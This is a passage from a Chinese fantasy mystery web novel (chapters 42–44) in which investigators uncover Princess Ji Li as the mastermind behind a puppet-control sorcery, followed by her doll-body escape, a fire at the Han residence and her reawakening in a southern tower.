那时顾岁寒一直以为她是因为丈夫忽然出事,为了自己的家庭与前路担忧。可现在想来,真的如此吗?
倘若韩玉青当真是一切的幕后主使,能有如此心机布局的他,为什么会在事情刚败露时就仓皇而逃?那奇怪的熏香“青玉案”曾出现在每个傀儡身边,可作为“掌控者”的韩玉青,为什么身上也有?
除非……他根本不是所谓的掌控者。从始至终,他的存在只有一个作用,就是代替幕后的人在台前唱念做打,吸引所有人的目光。
顾岁寒刹那间遍体生寒。她抬头与姬昀的目光对视,刹那间心意相通。她匆匆道:“我这就带人去找姬漓……”
然而还是慢了一步。
话音未落,宋安澜忽然匆匆跑到他们院门口:“你们俩干什么呢?别磨蹭了,韩府那边传来消息,姬漓失踪了!”
姬昀:“什么时候的事?”
宋安澜:“消息刚刚才过来,但人已经失踪快一-夜了!”
顾岁寒原本听到宋安澜的声音之后就看向了门口,此刻猛地回过头去看向姬昀,均在彼此的眼中看到了震惊……与难以言说的恐惧。
宋安澜本来急急忙忙的,见他俩都站在原地没动,不由得疑惑地走了进来:“怎么回事?”
顾岁寒简要地把她和姬昀之间的推理说了一遍,宋安澜喃喃道:“这也太巧了。”
其实这个巧合早在韩玉青潜逃时就发生过一次。众人刚怀疑到他身上,他就逃之夭夭了,那时众人还怀疑过是不是他们身边有哪个傀儡听到后把话传给韩玉青了。
可这次整个对话中只有姬昀和顾岁寒两个人,连只偷听的鸟都没有,姬漓是怎么知道有人怀疑到她身上了的?
“不,不对,”姬昀喃喃道,“不是因为我们。一-夜之前,咱们根本就没怀疑到姬漓头上过,应该是姬漓那边忽然出了什么事。”
“对,对,”宋安澜深深地吸了一口气,“我……”
顾岁寒却忽然打断了她说话:“不,这说不通。”
剩下两人的目光都看
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了过来,顾岁寒理了理自己的思路,才谨慎地开口:“如果我们之前的推测没错,那姬漓从始至终的目标只有一个,那就是尽可能地隐藏自己。从上林苑晕倒过去的人来看,光是整个临安城被她控制的人就不少,可在秋猎之前,落棋阁毫无察觉,说明她在背后做局的本事还是很强的。”
“但在秋猎之后,她的计划不知为何暴露了,”说到这里她的话头微微一顿,随后若无其事地接了下去,“傀儡术走进了落棋阁的视野。但如果仅仅是这还不算什么,我们不知道傀儡术的具体发源和目前影响到的人的范围,只能眉毛胡子一把抓,浪费的时间足够姬漓布局。但这时又发生了一个例外,打得她措手不及。”
顾岁寒看着剩下两人若有所思的样子,缓缓道:“那就是不知为何,疑似有很大一部分被傀儡术影响的人忽然晕倒了。我们通过这几人之间的关系,顺藤摸瓜摸到了韩玉青身上。”
“姬漓为求自保,把韩玉青推到了台前,让他匆匆‘潜逃’,吸引了我们所有人的目光。”顾岁寒找了跟树枝,在地上画了一章盛周滇三国的地图,“这一招无疑是成功的。没有人怀疑她一介弱女子,她被我们所有人保护着,送回了临安城里。甚至最开始我们所有人的计划里都没有她的事。”
画完图,顾岁寒把树枝折断,往远一扔,站起身来:“那她现在为什么要逃?这样一来不是就弄巧成拙,把咱们的目光重新吸引回了她身上吗?这不合理,姬漓能布这么大一个局,应该不是冒进之人。”
宋安澜不置可否地点点头。姬昀骤然被这些信息冲晕了脑子,此刻心乱如麻:“可……那我们能怎么办?”
“目前临安的局势尚且在我们掌控中,被傀儡术控制的人我们都知道,暂时没有新的变故。”顾岁寒虽然在提建议,但心里其实也有些没底,无意识地用自己的虎牙啃咬着下-唇,“我觉得我们暂时还是可以按照原计划行事,至于姬漓……我猜她可能是被螳螂捕蝉,黄雀在后了吧,我叫阁里人多留意一些。先把眼前的事解决了要紧,那么多傀儡等着咱们救命呢。”
姬昀失魂落魄:“好……好。”也不知在好些什么。顾岁寒看着他行尸走肉似的往外走的背影,不由得皱起了眉。宋安澜却没动,用一种探究的眼神看着她:“你对那只‘黄雀’……是不是有怀疑的对象了。”
宋安澜还是太敏锐了,顾岁寒自知自己省略了过多过程的推理瞒不过她,只好老实道:“我只是猜测……”
“没事,说说你的猜测。”宋安澜双手抱胸,“我听着。”
顾岁寒斟酌道:“这些猜测都是基于一个……嗯,我的推测出发的,那就是姬漓和归雁台私下里有联络。”
但其实这几乎是个肯定的事实。毕竟倘若俩人没什么关联,那鲁纳也不会出现在沈和正房间里了。
“我之前以为,他们两方应该算是合作关系,但我一直觉得这里面有疏漏。现在我想明白了,他们两方应该是互相利用,而且不知出于什么原因,沈和正对姬漓有点要过河拆桥的意思。”
42. 西江月 二
宋安澜摆出了洗耳恭听的姿势:“怎么说?”
“暂且不论当时让我们都一头雾水的陈筑,姬漓这事其实干得挺隐秘的,但却在上林苑翻了车。我们也是在上林苑彻底确定了傀儡术的存在,”顾岁寒无意识地摩挲着“展锋”的刀柄,“好巧不巧,相比临安,上林苑只多了一根搅屎棍,那就是沈和正。”
倘若不算情况未明的宋礼,那第一个在上林苑出现异状的傀儡就是夜访沈和正屋子的鲁纳。
顾岁寒把那天发现鲁纳的事和宋安澜又简单描述了一遍,然后道:“傀儡半夜三更跑沈和正屋子里,肯定是为了跟沈和正商量后续的什么事,暂且不探究他为什么在沈和正屋里和控制人断了联系,但傀儡失效后沈和正把它强留在自己屋里,而不是叫什么人把他送走,这个行为本身就很奇怪。”
“那天我摸进他屋子时,有一个细节我一直很在意。他在门口布了防人的铃阵,但或许是走得匆忙,靠门口的线没隐藏好,所以被我发现了。我那时只以为他是慌忙之间疏漏了,但现在想想,那铃阵很有可能是为了防屋里的人出去,而不是防外面的人进来,所以靠外的线牵得没靠里的线隐蔽。”
宋安澜若有所思地点点头:“即便不是你偷偷潜入发现了鲁纳,等天亮之后他主家发现了他失踪,也会引起众人的注意。”
顾岁寒接道:“对。正是因为发现了鲁纳原本停止了呼吸,后来却又安然无恙地从屋里出去了,我们才怀疑到了滇国赶尸术的头上。随后,或许还是沈和正的手笔,不少傀儡都莫名昏迷,我们也因此怀疑到了韩玉青头上。姬漓因此壁虎断尾,将韩玉青抛出去吸引所有人注意力,自己躲到了幕后。”
“你这话或许说得通,”宋安澜无意识地摩挲着自己的下巴,“可是,沈和正为什么要这样做呢?他又不是做慈善,干嘛要帮咱把朝中这么大个毒瘤掀出来?”
“我也说不通,”顾岁寒苦笑,“我只能猜,或许是他想借着这由头把水搅浑?”
“我当沈大人是什么英雄呢,谁知道还是要用这些蝇营狗苟的手段把水搅浑,才能小偷小摸地——”黑暗中,姬漓坐在圈椅里,明明她才是被“请”来的那一个,却丝毫不惧,似笑非笑地看着对面的男人,“——浑水摸鱼。”
她刻意把“浑水摸鱼”四个字咬得极重。昏沉沉的光线中,对面的人没有说话,但他的影子肩膀微微一动,应当是深呼吸了一次。
姬漓乘胜追击,挑衅地笑了起来,鲜红的嘴角好像一朵盛放到荼蘼的牡丹:“所以,沈大人大费周章,找到自己想要的鱼了吗?”
沈和正看着椅子上仿佛胜券在握的女人,心中千万思绪翻涌,意识到自己这次恐怕是马失前蹄,赌错了。
据传说,姬家的先祖是上古时期的精卫鸟。精卫衔木填海,所以她的后代血脉中都获得了镇压之力。铸造碎曦剑时,由于剑中玄铁怨气翻滚不休,剑身无法成形,姬氏工匠就把一缕血脉送入剑炉,这才有碎曦问世。
这些传说是真是假已然无法考证,但碎曦剑的戾气想要不影响到周围的修士,确乎需要身怀姬氏传承的人以血结阵封印。封印下的碎曦剑状如凡铁,却不能被封印者之外的人触碰,一旦破此禁制,妄动者将被业火焚身。
沈和正不动声色地看了一眼自己右手掌心的旧伤疤。这是当初夺剑时留下的。鲜红的火焰吞噬了他整只右手,留下的伤疤无法消退,像一条条虬结的树根,盘踞在他的身体上。
碎曦剑凭空消失之后,他曾一度以为碎曦应当在姬漓手上——她也是姬家的血脉,姬泠已死,姬昀又整天没头苍蝇似的乱转,姬漓虽说没什么修为,一路排除下来应该也只剩她一个了。
说句实在的,直到今天之前,他都没怎么把姬漓放在眼里。一个女人,还是一个很漂亮的柔弱女人,在家庭的娇养与宠爱下长大,嫁了个还不错的丈夫。这种女人他见得多了,在他眼里她就像一只绵羊——会叫,生气了也会踢人,但也顶多能蹭破点人的油皮——谁会警惕一只绵羊呢?
哪怕这个绵羊手上有无形中将人玩弄于股掌,将人控制得服服帖帖的本事,他也一度没有放在眼里过——妖族上不得台面的小伎俩多了去了,但大部分都是纸糊的虫子,吓人,但没什么威慑力,也就够滇国守着自己那一亩三分地和和乐乐地过到老。
这次来“和谈”,他是醉翁之意不在酒——一是为了顾岁寒,二是为了下落不明的碎曦。
当初把顾岁寒从牢里扔出去时,他记得清清楚楚,自己试过她鼻息和内府,两者都已归于平静;就算她那时没断气,凭那一身的伤在大学里待上半天也该死透了。没想到此人生命力堪比雪窝里的大兔子,没死不说,短短半年又能没事人似的蹦跶了。
要不是他低估了顾岁寒的武功,分身的法力又不够,他是定要把顾岁寒重新捉回去的。沈和正自打接过归雁台,到他手里的人就没有竖着出去的——这顾岁寒不仅跑了,还跑了不止一次,堪称是活生生的挑衅,沈和正忍不了这挑衅在世上喘气。
如今碎曦剑还没到手,他不想闹出太大的动静,只好暂时把顾岁寒这边轻轻放下。可谁料原本十拿九稳的姬漓这边也出岔子。
他固然是牵了姬漓的线,让她叫那小皇帝把顾岁寒叫了过来,但他自认为这算不上什么人情——毕竟姬漓也从里面获得了自己想要的东西。所以他用计切断了姬漓的“傀儡线”,让她手下那些木偶一个个浮出水面,让她一时间手忙脚乱,又将她逼入绝境,自以为能乱中取胜,拿到自己想要的东西。
可现在看来,姬漓固然处于下风,却也没到被他釜底抽薪的地步。沈和正有种可怕的直觉,此人的羽翼虽然已经被他折了一半,却还有后手等着他。
此人不是绵羊,而是只狡诈的狼王。
他这边正思忖着,那边姬漓却像看穿了他的心思一般,咯咯笑了起来:“我当是什么呢,沈大人表面上说要和人合作,实际上却背后给人捅刀子。我说沈大人,你不会以为你心心念念的碎曦剑就在我手上,所以我才一直不乐意给你碎曦的消息吧?”
心中所想骤然被人点中,饶是沈和正再老谋深算,此刻也忍不住神色一动。姬漓虽然看不清他表情,却看到阴影里他的呼吸微微一顿,不由得大笑了起来:“我说沈大人,你自己阴谋多了,自然看什么都是阴谋。只可惜,我姬云霭不是这样的人,我呢,没什么手段和势力,本来以为沈大人是个可靠的合作伙伴,谁知道大人居然背后算计我,可笑。”
沈和正从她的话里闻出了不妙的气息,却也不甘下风,冷笑:“长乐公主过谦了。要是公主也叫没什么势力,那滇国朝廷更是草台班子了。”
滇国的国主比起盛周两国,虽然稍显弱势,更多的时候只在各部族之间起到一个和事佬的作用,但影响力还是不容小觑的。可据沈和正的情报,姬漓所创的镇妖塔已然在极短的时间内把整个滇国朝廷玩弄于股掌之中,各族族长也转而向姬漓而非国主归安。
姬漓不冷不热地“哼”了一声:“沈大人净说些台面上的漂亮话,桌底下却不知道使着什么不干不净的小手段。我看,咱们的合作便到此为止,至于归雁台里我手下的人,我也不打算一一告知沈大人了。沈大人这么喜欢玩这种猜来猜去的小游戏,不如对着自己台里的‘大雁’慢慢玩。”
沈和正顿时冷下脸来:“公主说得容易,可公主把我台里好不容易培养出来的头雁陈筑送到落棋阁眼皮子底下去,我还没同公主一一清算呢!”
姬漓挑起半边弯月似的眉毛:“你说谁?那个陈筑?你那么宝贝他是你的事,我么,只是单纯看落棋阁那个新执棋和和乐乐,管落棋阁像家家酒似的,看不惯,送个人过去吓她一吓,如何呢?要是沈大人有意见,那我就赔个不是。”
说罢,她当真还站了起来,悠悠地行了一礼:“至于别的么……沈大人今天着人把我‘请’过来,我还以为是有多重要的事,谁料居然是场自弹自唱的‘鸿门宴’,那便恕我不奉陪了。”
沈和正猛地站起来:“你……”
话音未落,姬漓毫不客气地打断了他:“对了,沈大人,下次见面,记得叫我姬塔主,那劳什子的公主,我不稀罕。”
说罢,她像是失去了支撑,软软向地上倒去。沈和正快步上前查看,只见她衣服还在,肉身却化作了一个憨态可掬的小木偶,正在衣领里冲他傻笑!
沈和正万万没料到姬漓有此一招,顿时又惊又怒:“姬漓!”
韩府门外,一个被人丢在路边草丛里的小木偶忽然眨了眨眼,随后翻了个身站起来。还好天光还没大亮,否则这一幕要是被过往行人看见,非要闹鬼故事不可。
只见那小木偶站直了身子,抖了抖脑袋。一阵白光闪过,原本小木偶在的地方赫然站着姬漓本尊。她心情似乎很不错,不慌不忙地掸了掸袖子,正欲抬脚往韩府正
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门走,却忽然感觉脚下不对。一低头,一团马粪蛋被她踩了个正着。
这马粪蛋也不知在这里几天了,风吹日晒之下一踩就化为了齑粉,但姬漓还是很膈应。她嫌恶地在旁边砖地上蹭了蹭鞋底,走到了打瞌睡的看门小童面前:“喂,你。”
小童原本支着脑袋,正在一下下地点头,听到她的声音清醒了不少,一抬头看见主人家抓到了自己打盹,顿时慌乱地站了起来:“公、公主!”
没想到姬漓居然没生气,而是和缓道:“门外墙根里的草丛好久没清理杂草了,你有空拔一拔。”
小童顿时直起腰杆:“好、好的!”
姬漓温和地点了点头,随后自己推门进去了。小童揉了揉眼,奇怪地咕哝:“唉?公主不是不见了吗?怎么又回来了?”
姬漓进门之后,不冷不热地看了一眼原本韩玉青住处的方向,才向自己的院子走去。刚踏上那两侧种满芍药的石子小径,正在和其他宫女聊天的丹桂就注意到了她,惊讶地迎上前来:“公主!您回来了!”
丹桂和她算是半个家人,私下里不怎么讲究礼数,拽着她的衣袖前后看了一圈,见她安然无恙,才松了口气:“公主没事就好!公主,奴婢夜里给您添香,结果您却不在房中,可吓死奴婢了!”
姬漓笑盈盈道:“玉青出了事,我心里不好受,所以出去转转,没叫上你们,叫你们担忧了,抱歉。”
丹桂看她神色,心说这也不像心里不好受的样子啊。但她没把话说出口,只道:“公主心情再怎么郁结,也不该黑灯瞎火地出去散心呀。夜里什么人都有,多不安全。”
姬漓微笑点头,再三发誓自己绝不再犯,丹桂这才放过她,推着她回屋里洗漱打理。路过刚刚交谈的另一个宫女时,丹桂忽然想起来了什么,吩咐她道:“你去同宋将军那边说,公主没事,就是心情不佳出去走走,现在已经回来了,叫她们别费心。”
走在前面的姬漓忽然顿住了脚,回过头来:“你说,你告诉了宋安澜?”
丹桂看她脸色,不知为何忽然打了个寒噤:“对……对啊,当时奴婢见公主不在,被褥又凌乱,还以为公主出了事,一下子慌了神,便……便告知了宋将军帮忙找人。”
“宋将军……”姬漓思考片刻,也不知想出了什么,低头一笑,“没事。你去找她说吧。”
那宫女战战兢兢地走了。姬漓和颜悦色道:“走,咱俩回去吧。我可是有点困了。”
丹桂见她神色无异,疑心刚刚是自己的错觉,忙不迭地跟了上来:“好!”
姬漓微笑起来。在丹桂看不见的地方,一根银丝悄悄地钻进了她后脖颈。
而不远处的镇北侯府,顾岁寒忽然打了个喷嚏:“阿嚏!”
这一喷嚏惊动了正在自己院子外面搬行李的姬昀。他看了顾岁寒一眼,欲盖弥彰地换了个位置,试图让她注意不到自己。
宋安澜有事已经回自己院子那边了。顾岁寒看着他鬼鬼祟祟的样子,抽了抽嘴角,高声道:“姬将军!”
这下姬昀不能掩耳盗铃装作没看见了,只好又重新绕了出来:“顾执棋还有什么事吗?”
顾岁寒和颜悦色:“没什么特别要紧的事。在下只是忽然想起来,先前我说,能通敌的只有知道姬氏传承具体内容,而且知道落棋阁位置的人。在下事到如今才想起来姬漓此人是因为在下刚刚知道碎曦传承一事,那姬将军是为什么直到如今才怀疑到姬漓头上的呢?”
这话有点把烙铁往别人伤口上戳的意思。姬昀的面色一下变得惨白:“我……我……”
顾岁寒不说话,静静地看着姬昀百般纠结,最后才痛苦道:“我……我原本以为她是不知道姬家传承的事的。”
顾岁寒差点没把手里的展锋掉到地上:“她不知道?”
一个同样姓姬的人,居然不知道自己家族所传承的使命?
姬昀半死不活地捂着脸:“对……阿爹阿娘走的时候,她还比较小,刚刚到了会说整句话的年纪,所以他俩都没跟她说过。至于她长大以后……我和阿泠商量了一下,决定不告诉她。”
顾岁寒觉得匪夷所思:“为什么?”
“因为……”姬昀的神色忽然黯淡了下来,半晌,他苦笑了起来,抬起眼直视顾岁寒,“执棋,你该不会觉得,把剩余的人生和一把所有人都避之不及,却又不得不倚仗的凶剑绑在一起,是什么幸运的事吧?”
43. 西江月 三
身怀世上人人觊觎的神剑,但自身却没有足够的能力和权力来保障自己的安全,便注定只能成为剑的附属。
倘若再阴谋论一点,先帝把他们兄妹三人接来临安城、乃至后来万般的偏宠,背后的原因似乎都暧昧不明了起来。
“我们……一厢情愿地希望阿漓不要掺和这些了,所以我们和先帝、和所有知道这件事的人保证,姬漓自小就没有那个修行的天赋,她和那把见鬼的剑半个铜板的关系也没有。”姬昀自嘲地笑了笑,低下头去把-玩自己的腰牌,“可是你刚刚和我提及那件事时,我忽然想起来,纸终究是包不住火,阿漓或许是知道这件事的。”
“我跟她因为婚姻的事吵架那次,她激动之下曾经冲口说出:‘凭什么你们都可以建功立业,连那把劳什子的剑都要倚仗着你们,我却要在内宅一生蹉跎,看着我丈夫的鼻息过活?哥哥,你告诉我为什么!’”
“她那时语焉不详,又是在吵架,话赶话的,我没留意到她话里古怪,”姬昀垂着头,“但我现在想想,我和阿泠都把她想得太单纯了,都把她当成妹妹保护。但很多时候,我俩为了绕过碎曦的话题半遮半掩行为古怪的,只要阿漓有心细查,怎么会不知道我们家和碎曦的关联呢?”
顾岁寒也不知道说什么好了,只好干巴巴地笑了一声。
东边的天空出现一抹鱼肚白。天快亮了。
顾岁寒闭了闭眼,转身向外面走去:“快到时间了,我要出发了,将军若是想要同行的话,也尽快吧。”
姬昀站在原地没动。就在顾岁寒的身影要消失在拐角时,他忽然高声道:“执棋阁下!”
顾岁寒转过身去,姬昀的声音却又忽然细弱了下去,仿佛惧怕着什么似的:“你说,为什么会变成这个样子呢?”
顾岁寒没接话,他又自顾自地说了下去:“我……我知道我当初出言无状,她心里不好受。可是她不好受报复我就好了呀,为什么要牵连毫无关系的阿泠呢?”
一时之间两厢静默。半晌,顾岁寒才摇了摇头:“我不知道,将军。我不是她,也不是姬泠,不知道她们之间有没有别的过节。事已至此,走一步看一步吧,多思伤身。”
姬昀魂不守舍地点点头。顾岁寒也看不出他听进去了没有,长叹了口气,摇摇头往外走去。
她本来想回落棋阁的。但不知是不是被姬昀那番话影响,她的心跳得格外快,万般思绪在心中翻涌,却理不出个头绪。
胡思乱想间她没看脚下路,差点被一块凸-起的石板绊了个大马趴。站稳后她猛然抬头,感觉迎面吹来的风中有股隐隐的焦糊味。
临安的西边,天空被跃动的光芒隐隐照亮了。
朝中不少重臣都把房子置在了城西的兰桂坊,偶尔走个水算不上稀奇,灭火也不归落棋阁管。顾岁寒看了一眼那边,纵使心里有些不安,还是照原计划穿过缩地千里阵,回到了阁里。
谁料她双脚刚一落地,陈二娘就气喘吁吁地跑了过来:“执棋!蒋师姐托我告诉你,韩府走水了!”
原本花团锦簇的韩府,现在只剩了一片断壁残垣。
顾岁寒蹭了陈二娘的飞剑,轻轻一跳落在韩府门口,迎面吹来的烟灰差点呛得她咳嗽起来:“咳……这火怎么这么大?这韩府都要烧没了吧!”
陈二娘收起剑,跟在她后面:“火政那边说是水龙不知为何调不来水,先赶来的蒋师姐没办法,叫了好几个修水系术法的修士对着里面喷水,才把火势压下去。”
顾岁寒提起衣摆迈进府门,也不知是哪一步踏重了,原本就摇摇欲坠的大门“吱呀”一声,彻底寿终正寝,倒在地上又扬起一阵飞灰。
顾岁寒捏着鼻子:“为什么起火?府里面的人呢?没影响到旁边的府邸吧?”
陈二娘先前已经随蒋奚来过一次,之前回去是特意给顾岁寒捎信,所以对府里面的情况比较熟稔:“蒋师姐说应该是有人在地上泼了油,再推翻了公主房间里的烛台,就着火了。大部分府里的人都跑出来了,但长乐公主和她的两个贴身的宫女不知所踪。韩府两边的人家离韩府都远,没受什么影响。”
火政的人,京兆尹的人在废墟里艰难地走来走去,收集所剩不多的证据以便事后回报。顾岁寒眯着眼睛环视了一圈,感慨:“我看朝中的政局是要变动了。”
这话陈二娘没敢接。顾岁寒也没指望着她答,只是随口感慨。两人在中庭转了一圈,随后往原本公主居住的院子走去。
一路上走水的影响越来越明显,空气中弥漫着明显的焦糊味,还有一股发热的花香。顾岁寒走在石子小径上,两边的花坛里沉积着厚厚的黑灰,从残留的形状勉强能看出似乎是之前种的芍药花。
顾岁寒想起来上次来这里时,那个引路的宫女说“这些芍药是大人特意为公主换的”,眉心不由得微微一跳。
倘若他们的猜测没错,韩玉青早已成了姬漓手中的傀儡……那这些花,姬漓是怀着怎样的心思,为“自己”种下的呢?
顾岁寒对他们夫妻二人之间的往事毫不了解,但按照姬昀的说法,韩玉青是姬漓在远嫁的压力之下,匆匆挑选的意中人。那这对匆匆结合的夫妻,最后又是怎么走到现在这一步的呢?
她不得而知。倘若再浅显些想,姬漓好好一个公主,没有她的兄长和姐姐那样的压力,吃穿不愁,家中宠爱,按理说应该是无忧无虑才是,为什么要折腾这么大一圈,落得今日背井离乡、家破人亡的下场呢?
可人之一生,当真只有那么一点被人捧在掌心、衣食无忧的志向吗?
倘若换成忙活了一天的顾岁寒,她对这个问题的答案绝对是肯定的;但坐在黄金龛里的公主,或许并不这么想。
她想起来自己对姬昀说的“多想无益”。劝别人时说的好好的,但一旦到了自己头上,特别是跟姬家这一家子人相关的事,顾岁寒忍不住就要多想。果然人的本质是知易行难。
再往那边走,落棋阁的人就渐渐多了起来。顾岁寒远远看见了蒋奚指挥手下人的身影,稍稍拔高声音喊了句:“小奚!”
蒋奚正低头跟旁边人吩咐什么,听见她喊自己回过头来,惊讶道:“执棋?你怎么亲自来了?我本来打算就让二娘和你知会一声呢。不会耽误你去滇国的事吧?”
“不耽误,看一眼的事而已,毕竟和傀儡术有关系。”顾岁寒看四下里的棋子翻箱倒柜的似乎在找东西,于是问道,“在找什么呢?”
蒋奚挥挥手让身边的小棋子干活去,朝着顾岁寒这边走了过来,一边走一边扬了扬手上的一个木偶:“这个。我觉得这个木偶有点奇怪,所以让人找找有没有类似的。”
顾岁寒接过那个木偶。诡异的是,这木偶明明是木质的,在大火中居然完好无损,要不是身上原本穿的衣服被烧得只剩一点焦糊的布条挂在身上,简直让人怀疑它是灭火之后才被扔进来的。
顾岁寒将这防火的小木偶前前后后看了一圈,奇道:“我怎么觉得她这么像姬漓呢。”
这个直觉堪称诡异。这小木偶头大身子小,脸上的表情似乎是刻上后填了漆,也是歪歪扭扭的。但不知道为何,顾岁寒就是觉得那个笑容特别像姬漓。
“有吗?”蒋奚从旁边探了半个头过来,左看右看也没看出来,“没有吧。我想找同样的木偶主要是因为谢将军说这上面有傀儡术的残留来着。”
顾岁寒差点没反应过来:“谁?谢停舟?他怎么也跟着来了?”
她调门有点大了,远处
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一个正在帮忙抬横梁的灰衣男人听见声音,转过头来。顾岁寒从他模糊的五官中认出来那是谢停舟,震惊道:“他怎么灰头土脸的?”
说灰头土脸都有些谨慎了。细看不难发现,他原本应该是穿的一件白色的儒士长袍,现在已经完全被沾成了煤灰色,跟从火场里滚了一圈似的。蒋奚无奈道:“人家可积极了,天刚擦亮就打点好了行装,在缩地千里阵旁边等你,结果将军那边先传信过来说韩府走水了,他就跟过来帮忙了。”
正说着,有个黑棋从废墟里站起身来:“执棋!蒋师姐!这边找到了两个!是一起的!”
两人走过去,果不其然,几个黑棋把原本堆在一起的横梁支柱扒开,几个柱子架出来的空间里有两个紧紧抱在一起的小木偶。
找到木偶的黑棋殷勤道:“这里应该曾经是公主卧寝的外间。我推测这里应该是陪侍的侍女在主人家睡觉时,等待听候命令的外间。很多侍女都会在这里铺一条褥子眯一会,大火燃起时,这里的房顶应该是垮塌了下来,但因为是墙角,所以屋顶落下后被两边架住,形成了这么一个没被烧塌的地方。”
蒋奚把两个木偶接过来,费力分开,惊讶道:“这俩木偶……看起来好害怕啊。”
确实,分开之前,这两个木偶紧紧抱在一起的动作就像大难临头时,抱紧彼此的两只小蚂蚁。其中一只木偶闭着眼睛,脸颊上有一滴木刻的泪水;另一只木偶大睁着眼睛,似乎呆呆地看着虚空中袭来的什么物品,木讷的双眼里似乎还残留着一丝还没来得及散去的恐惧。
“公主和她的两个近侍都没找到。”蒋奚轻声道,仿佛怕惊动什么东西似的,“你说,她们会不会……都变成木偶了?她们还活着吗?”
“还活着。”一个声音突兀地从顾岁寒背后加入了谈话,“我招过魂了,没有结果。”
蒋奚被吓了一跳:“谢将军!您……您走路怎么无声无息的!”
顾岁寒心说是你想太投入了没听见,我可是听到了。但她嘴上没说,而是硬邦邦道:“不是说谢将军身边一直要有人陪护着吗?人呢?”
蒋奚委屈坏了:“您不是说只在落棋阁里看……陪着就行了吗!现在这里都是阁里的人,肯定不会让他……让谢将军受了冷落的!”
谢停舟觑着她的神色,小心道:“是在下主动提出来要过来帮忙的。听闻长乐公主才是傀儡术背后主谋,在下实在是放心不下,所以……”
哦,差点忘了他还要查姬泠的案子。
说起来,他最开始跟着顾岁寒查这个案子时,就对姬漓夫妇展现出了莫名其妙的敌意,而且对姬漓的远胜于对韩玉青的。顾岁寒最开始还觉得这人莫名其妙,现在他的怀疑却一一应验了。
难道说这就是爱侣间的心有灵犀吗?
没有爱侣——或者说曾经有但是现在忘了的顾岁寒表示难以理解。她接过那两个新找到的木偶,和之前找到的姬漓木偶放在一起,看出了些端倪:“我怎么感觉……这两个新的好像比之前的这个被烧得更严重呢?”
比起姬漓木偶的烈火不侵,这两个木偶的木身上很明显有火燎过的痕迹,膝弯、小臂上都被火烧掉了一小块。顾岁寒倒吸了口凉气:“我怎么觉得这烧伤这么像人的烧伤呢,木头被烧不是这样的吧。”
蒋奚被她一番话弄得有些恶寒:“不会吧,执棋,你的意思是这些木偶之前都是真人?人怎么能变成木偶的呢?这不可能吧!”
“有什么不可能的,傀儡术还能把人控制在手里呢。”顾岁寒咕哝道。倒是谢停舟沉思片刻后开了口:“有可能的。傀儡术五行属木,倘若被它影响的时间长了,人是有可能变成木头的。之前被发现的那些人身上有木偶一样的纹路就是证据。”
44. 西江月 四
“啊?”震惊当前,顾岁寒把自己跟谢停舟的龃龉抛之脑后,忘了打算不搭理这厮一段时间的决定,“真的吗?这傀儡术还有这种功用?”
谢停舟瞥了她一眼,不动声色地把三个木偶娃娃接过去细细查看。顾岁寒还是觉得十分难以置信,从侧面探了半个头看:“那……他们现在这算是什么状态?变成木偶了?还活着吗?”
谢停舟闭上眼睛,看样子是在把灵流探入木偶里查探。
在所有人都没注意到的地方,谢停舟的胸口出飞出两团光晕,无声无息地落进木偶的残躯。
毫无所察的谢停舟半晌才睁开眼:“不,这些就是单纯的木偶,没什么特殊的地方。非要说的话,那就是他们身上都有点术法痕迹。我感觉,他们都隐隐约约连着什么地方。”
这说法就有些玄了。顾岁寒环视周围一圈忙忙碌碌的人,不解道:“既然这三个都不是活物,那他们仨人呢?就这么人间蒸发了?”
遥远的南疆,一座通体漆黑的高塔静静地坐落在幽谷之间。
谷里的空气闷热而潮湿,隐隐有股腐烂的气息。但无论再热的风,都会在靠近那座塔时自动扭转一个小小的弧度,轻手轻脚地绕过去。
这塔仿佛一只潜伏在密林中的野兽,明明是个死物,却有种张口欲噬人的森然。
高塔的最顶端有一个密闭的小房间,屋内的空气湿润而冰寒。一个美人坐在屋子正中的椅子上,双目紧闭,素白的双手轻轻搭在把手顶端的兽首上。
不知何处吹来一阵清风,轻悄地推开这房间的门扉,吹得这美人的头发微微浮动。她蝶翼般的双目微微颤动,最后破茧一般猛得睁开!
倘若顾岁寒在这里,就会这睡美人似的姑娘和千里之外的姬漓居然长了一张脸!
这“姬漓”缓缓眨了眨眼睛,仿佛适应这具新的躯体一般,她像条冬眠初醒的小蛇般伸展着自己的脖子,活动着久未运动的骨骼。直到全身所有骨头都能随着她的心意发出颇有节奏感的咔咔声,她才终于满意了似的,撑着扶手站了起来。
房间外面传来了间隔一致的脚步声。一个男人直接推门进来,半伏着身子移动到了姬漓脚边,深深地跪了下去:“——吾主。”
姬漓半垂着眼睛,莫测地看着面前男人平坦而宽阔的后背。也不知她看出了什么,半晌,她银铃似的一笑,也不见她开口,整座塔好像她神识的延展一样,重重的笑声在塔身里回荡。
她说:“抬起头来,韩郎。”
——倘若是之前的姬漓,她喊“韩郎”时只会让人觉得甜蜜。但此刻的她仿佛一只含-着毒素的青斑蝶,喊出这个名字时只会让人感到美丽背后莫名的危险。
“韩郎”听见她的召唤,缓缓地跪直了身子,扬起呆板的脸看着自己的主人。
他正是韩玉青。
姬漓歪过头,长长的指甲拂过他的下巴,明明力道不重,却带出了一条深深的血印。而韩玉青仿佛无知无觉似的,保持着原本的姿势,一动不动地跪在原地。
“唉,没意思。”她将手松开,嫌恶地擦了擦指尖,像看着个损坏的玩具般看着地上的男人,“韩玉青,你的任务也算是完成了,勉强能算于我有助,退下吧,我暂时不想看到你的脸。”
韩玉青深深磕头:“是。”然后站起身来,后退着出了房间。
“色衰而爱驰啊,韩郎。”姬漓看着他离开的方向,鲜红的嘴角微微挑起,也不知是在对谁说话,“以前你那张脸还算得上秀色可餐,现在么……失却了那三分灵气,再浓艳的五官也有些食之无味了。”
韩玉青是她联系傀儡术后的第一个成品。那时她的手法还太生涩了,笨手笨脚的,韩玉青的魂魄刚被她取出来便不慎消散在半空。
于是韩玉青只能成为了她手下最低等的那种傀儡——行动完全受她控制,成为傀儡前的记忆能被她读取到片段。但除此之外,他和街上手艺人用来讨笑声的木偶没什么两样,没有表情,没有思维。
姬漓要是想让他表现得像个正常人,那就只有一个方法——将自己的神魂附在他身上,将他当做自己的另一幅皮囊。
姬漓有无数这样的傀儡,为了节省功夫,它们中的大部分都是用夹竹桃的树干制成的玩-偶。她的神思也得以随着不同的伪饰,自由地遨游在天地之间。
在“驾驭”着韩玉青的身体逃出临安之后,她本应像处理别的傀儡一样,随手找个不起眼的地方把他埋起来,而非像现在这样费心费力千里迢迢把他运回镇妖塔中。
